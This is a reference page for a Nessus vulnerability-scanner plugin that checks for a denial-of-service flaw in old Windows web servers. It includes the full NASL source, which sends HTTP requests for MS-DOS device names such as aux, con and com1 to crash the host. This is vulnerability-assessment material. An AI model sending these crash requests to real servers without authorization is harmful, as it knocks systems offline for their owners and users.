Multiple Web Server on Windows MS/DOS Device Request Remote DOS - Nessus

Medium Plugin ID: 10930

This page contains detailed information about the Multiple Web Server on Windows MS/DOS Device Request Remote DOS Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 10930
Name: Multiple Web Server on Windows MS/DOS Device Request Remote DOS
Filename: http_w98_devname_dos.nasl
Vulnerability Published: 2001-04-17
This Plugin Published: 2002-03-29
Last Modification Time: 2018-11-15
Plugin Version: 1.46
Plugin Type: remote
Plugin Family: Web Servers
Dependencies: http_version.nasl, os_fingerprint.nasl
Required KB Items [?]: Host/Win9x

Vulnerability Information

Severity: Medium
Vulnerability Published: 2001-04-17
Patch Published: N/A
CVE [?]: CVE-2000-0168, CVE-2001-0386, CVE-2001-0391, CVE-2001-0493, CVE-2001-0558, CVE-2001-0602, CVE-2002-0200, CVE-2003-0016
CPE [?]: N/A

Synopsis

The remote host is running a Web Server that is affected by a denial of service vulnerability.

Description

It was possible to freeze or reboot Windows by reading a MS/DOS device through HTTP, using a file name like CON\CON, AUX.htm, or AUX. An attacker could exploit this flaw to deny service to the affected system.

Solution

Contact your vendor for fixes.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (GitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Multiple Web Server on Windows MS/DOS Device Request Remote DOS vulnerability:

GitHub: https://github.com/alt3kx/CVE-2002-0200
[CVE-2002-0200: Cyberstop Web Server for Windows 0.1 allows remote attackers to cause a denial of ...]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:N/I:N/A:P/E:POC/RL:OF/RC:C

CVSS Base Score:	5.0 (Medium)
Impact Subscore:	2.9
Exploitability Subscore:	10.0
CVSS Temporal Score:	3.9 (Low)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	3.9 (Low)

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Plugin Source

#
# (C) Tenable Network Security, Inc.
#

# Script audit and contributions from Carmichael Security 
#      Erik Anderson <[email protected]>
#      Added links to the Bugtraq message archive, Microsoft Knowledgebase,
#      and known vulnerable servers list
#
# Vulnerable servers:
# vWebServer v1.2.0 (and others?)
# AnalogX SimpleServer:WWW 1.08		CVE-2001-0386
# Small HTTP server 2.03		CVE-2001-0493
# acWEB HTTP server?
# Xitami Web Server                     BID:2622, CVE-2001-0391
# Jana Web Server                       BID:2704, CVE-2001-0558
# Cyberstop Web Server                  BID:3929, CVE-2002-0200
# General Windows MS-DOS Device         BID:1043, CVE-2000-0168
# Apache < 2.0.44			CVE-2003-0016
# Domino 5.0.7 and earlier		CVE-2001-0602, BID: 2575
# Darwin Streaming Server v4.1.3e	CVE-2003-0421
# Darwin Streaming Server v4.1.3f 	CVE-2003-0502
#



include("compat.inc");

if(description)
{
 script_id(10930);
 script_version("1.46");
 if (NASL_LEVEL >= 2200 ) script_cve_id("CVE-2001-0386", "CVE-2001-0493", "CVE-2001-0391", "CVE-2001-0558", "CVE-2002-0200", 
                                        "CVE-2000-0168", "CVE-2003-0016", "CVE-2001-0602");
 script_bugtraq_id(1043, 2575, 2608, 2622, 2649, 2704, 3929, 6659, 6662);

 script_name(english:"Multiple Web Server on Windows MS/DOS Device Request Remote DOS");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote host is running a Web Server that is affected by a denial
of service vulnerability." );
 script_set_attribute(attribute:"description", value:
"It was possible to freeze or reboot Windows by reading a MS/DOS device
through HTTP, using a file name like CON\CON, AUX.htm, or AUX. An
attacker could exploit this flaw to deny service to the affected
system." );
 # https://web.archive.org/web/20010725010353/http://archives.neohapsis.com/archives/bugtraq/2001-04/0279.html
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8c839064" );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2001/May/81" );
 script_set_attribute(attribute:"solution", value:
"Contact your vendor for fixes." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value: "2002/03/29");
 script_set_attribute(attribute:"vuln_publication_date", value: "2001/04/17");
 script_cvs_date("Date: 2018/11/15 20:50:25");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 script_summary(english:"Crashes Windows 98");
 script_category(ACT_KILL_HOST);
 script_copyright("This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
 script_family(english:"Web Servers");
 script_dependencies("http_version.nasl", "os_fingerprint.nasl");
 script_require_ports("Services/www", 80);
 script_require_keys("Host/Win9x");
 exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


if (! get_kb_item("Host/Win9x"))
 exit(0, "The remote OS is unknown or is not Windows 9x");

start_denial();

dev[0] = "aux";
dev[1] = "con";
dev[2] = "prn";
dev[3] = "clock$";
dev[4] = "com1";
dev[5] = "com2";
dev[6] = "lpt1";
dev[7] = "lpt2";

i = 0;
ext[i++] = ".htm";	# Should we add .html ?
ext[i++] = ".";
ext[i++] = ". . .. ... .. .";
ext[i++] = ".asp";
ext[i++] = ".foo";
ext[i++] = ".bat";
# Special meanings
ext[i++] = "-";		# /../ prefix
ext[i++] = "+";		# /aux/aux pattern

port = get_http_port(default:80, embedded: 1);
if (http_is_dead(port: port))
 exit (0, "The web server on port "+port+" is dead.");

 n = 0;
 for (i = 0; dev[i]; i = i + 1)
 {
  d = dev[i];
  for (j = 0; ext[j]; j = j + 1)
  {
   e = ext[j];
   if (e == "+")
    name = string("/", d, "/", d);
   else if (e == "-")
    # Kills Darwin Streaming Server v4.1.3f and earlier (Win32 only)
    name = string("/../", d);
   else
    name = string("/", d, e);
   #display(n++, ": ", name, "\n");
   r = http_send_recv3(method: "GET", item:name, port:port, exit_on_fail: 0);
  }
 }
 
alive = end_denial();

if (! http_is_dead(port: port))
  exit(0, "Web server on port "+port+" is still alive");

if(!alive)
{
 security_warning(port);
 set_kb_item(name:"Host/dead", value:TRUE);
 exit(0);
}
else
  exit(0, "Host is still alive");

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/http_w98_devname_dos.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\http_w98_devname_dos.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/http_w98_devname_dos.nasl

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How to Run

Here is how to run the Multiple Web Server on Windows MS/DOS Device Request Remote DOS as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select Web Servers plugin family.
On the right side table select Multiple Web Server on Windows MS/DOS Device Request Remote DOS plugin ID 10930.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl http_w98_devname_dos.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a http_w98_devname_dos.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - http_w98_devname_dos.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state http_w98_devname_dos.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

1043, 2575, 2608, 2622, 2649, 2704, 3929, 6659, 6662

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file http_w98_devname_dos.nasl version 1.46. For more plugins, visit the Nessus Plugin Library.

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Multiple Web Server on Windows MS/DOS Device Request Remote DOS - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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